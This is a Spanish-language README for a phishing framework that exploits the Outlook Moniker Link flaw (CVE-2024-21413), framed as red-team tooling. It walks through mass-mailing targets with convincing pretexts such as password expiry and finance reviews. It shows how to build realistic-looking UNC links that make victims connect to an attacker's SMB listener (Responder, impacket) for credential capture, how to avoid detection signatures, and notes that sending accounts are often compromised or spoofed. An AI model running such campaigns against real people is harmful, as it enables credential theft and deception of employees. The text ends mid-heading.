BLIND TRUST - Moniker Link Phishing Engagement Framework

Un marco de herramientas de seguridad para simular campañas de phishing dirigidas utilizando la vulnerabilidad CVE-2024-21413 Moniker Link. Diseñado para operaciones de equipo rojo autorizadas, pruebas de penetración y concienciación en seguridad.

Descripción general

BLIND TRUST es un marco de campañas de phishing que ayuda a los equipos de seguridad a comprender y probar sus defensas contra ataques sofisticados basados en correo electrónico. Aprovecha la técnica Moniker Link para eludir la Vista Protegida de Outlook, proporcionando una simulación de ataque realista que las organizaciones pueden utilizar para fortalecer su postura de seguridad.

Esta herramienta automatiza el flujo de trabajo de campaña de extremo a extremo, desde la configuración hasta la entrega de correos electrónicos, manteniendo la seguridad operativa mediante rutas UNC personalizables y opciones de pretexto flexibles.

Propósito

Las organizaciones necesitan comprender las técnicas de ataque reales para defenderse de manera efectiva. TRUST permite:

• Operaciones de equipo rojo - Realizar campañas de phishing autorizadas como parte de evaluaciones de seguridad
• Capacitación en concienciación de seguridad - Demostrar vectores de ataque del mundo real a los empleados
• Validación de vulnerabilidades - Probar capacidades de detección contra técnicas conocidas
• Investigación defensiva - Comprender el comportamiento de Moniker Link en su entorno

Características

• Campañas multiobjetivo - Enviar correos electrónicos de phishing a múltiples objetivos con una sola configuración
• Carga flexible de objetivos - Cargar objetivos mediante entrada interactiva o archivos .txt estilo wordlist
• Pretexto personalizable - Controlar el asunto del correo, el nombre del remitente y el cuerpo del texto
• Rutas UNC discretas - Personalizar la ruta de Moniker Link para que parezca realista (dominio, nombre de recurso compartido, nombre del exploit)
• Autenticación SMTP - Soporte para varios servidores SMTP con negociación TLS
• Lógica de reintento automático - Retroceso exponencial para fallos transitorios de SMTP
• Informes de campaña - Estado de entrega por objetivo con resultados agregados
• Sin firmas codificadas - Eliminar indicadores obvios que expongan la técnica

Instalación

Requisitos

• Python 3.7+
• Solo biblioteca estándar (sin dependencias externas)

Configuración

# Clonar el repositorio
git clone https://github.com/h1ssbl1tz/Blind-Trust.git
cd TRUST

# Ejecutar la herramienta
python3 TRUST_v7.py

Requisitos

La herramienta utiliza únicamente módulos de la biblioteca estándar de Python:

getpass      - Entrada segura de contraseñas
html         - Escape HTML
ipaddress    - Validación de direcciones IP
logging      - Registro estructurado
os           - Operaciones de archivos
re           - Expresiones regulares
signal       - Manejo de señales
smtplib      - Protocolo de correo SMTP
sys          - Utilidades del sistema
time         - Operaciones de tiempo
dataclasses  - Modelado de configuración
email        - Construcción de correo MIME
typing       - Sugerencias de tipo

No se requieren paquetes externos: funciona en cualquier lugar con Python 3.7+.

Inicio rápido

python3 TRUST_v7.py

Siga el asistente interactivo a través de 5 pasos:

1. Credenciales del atacante - Cuenta SMTP para enviar correos
2. Configuración del oyente SMB - Dirección IP donde los objetivos se conectarán
3. Configuración de objetivos - Cargar víctimas desde entrada o archivo wordlist
4. Personalización del correo - Asunto, nombre del remitente y cuerpo del texto
5. Personalización del payload - Host de ruta UNC, nombre del recurso compartido y del exploit

Ejemplos de uso

Ejemplo 1: Entrada interactiva (campaña pequeña)

¿Cargar objetivos desde [f]ile o [i]nput directamente?: i
Dirección(es) de correo del objetivo: [email protected], [email protected]

Asunto del correo [Security Update Required]: Urgente: Aviso de caducidad de contraseña
Nombre mostrado (campo From) [Microsoft Security Center]: Equipo de Seguridad TI
Cuerpo del correo: Su contraseña caduca en 24 horas. Por favor, actualícela inmediatamente.

Host UNC (IP o dominio) [192.168.1.100]: it-internal.company.com
Nombre del recurso compartido UNC [updates]: patches
Nombre del exploit UNC [patch]: kb_security_2024

Ejemplo 2: Carga desde wordlist (campaña grande)

Cree targets.txt:

# Departamento de Finanzas
[email protected]
[email protected]
[email protected]

# Contabilidad
[email protected]
[email protected]

Luego ejecute:

¿Cargar objetivos desde [f]ile o [i]nput directamente?: f
Ruta al archivo de objetivos: targets.txt
[+] Se cargaron 5 objetivo(s) desde targets.txt

Ejemplo 3: Pretexto financiero realista

Asunto del correo: Revisión Financiera Q3 - Acción Requerida
Nombre mostrado: Equipo de Operaciones Financieras
Cuerpo del correo: Por favor, revise el estado financiero adjunto del Q3 y proporcione su aprobación.

Host UNC: finance-internal.company.com
Recurso compartido UNC: quarterly
Exploit UNC: q3_financial_report

Ruta UNC generada: file://finance-internal.company.com/quarterly!q3_financial_report

Configuración explicada

PASO 1: Credenciales del atacante

• Correo del atacante: La dirección de correo utilizada para enviar correos de phishing (normalmente una cuenta comprometida o suplantada)
• Contraseña SMTP: Credencial de autenticación para el servidor de correo

PASO 2: Oyente SMB

• IP del oyente SMB: La dirección IP donde se ejecuta su oyente SMB (por ejemplo, Responder, impacket-smbserver). Los objetivos intentarán conectarse aquí cuando hagan clic en el enlace Moniker Link.

PASO 3: Configuración de objetivos

Dos opciones:

• Entrada interactiva: Pegar correos directamente (separados por coma o nueva línea)
• Archivo wordlist: Cargar desde un archivo .txt con un correo por línea, comentarios que comiencen con #

PASO 4: Personalización del correo

• Asunto: Línea de asunto del correo (evite referencias a CVE; manténgalo profesional)
• Nombre mostrado (From): El nombre amigable que aparece en el encabezado del correo
• Cuerpo del correo: El texto de pretexto que explica por qué los objetivos deben hacer clic en el enlace

PASO 5: Personalización del payload

Aquí es donde se evitan firmas obvias:

• Host UNC: Use un dominio o subdominio realista (por ejemplo, finance-internal.company.com) en lugar de solo una IP
• Recurso compartido UNC: Nombre de recurso compartido realista como quarterly, updates, documents
• Exploit UNC: Nombre de archivo realista como q3_report, security_patch, training_document

Resultado: En lugar del obvio \\192.168.1.100\share!exploit, se obtiene algo como file://finance-internal.company.com/quarterly!q3_report.

Flujo de ejecución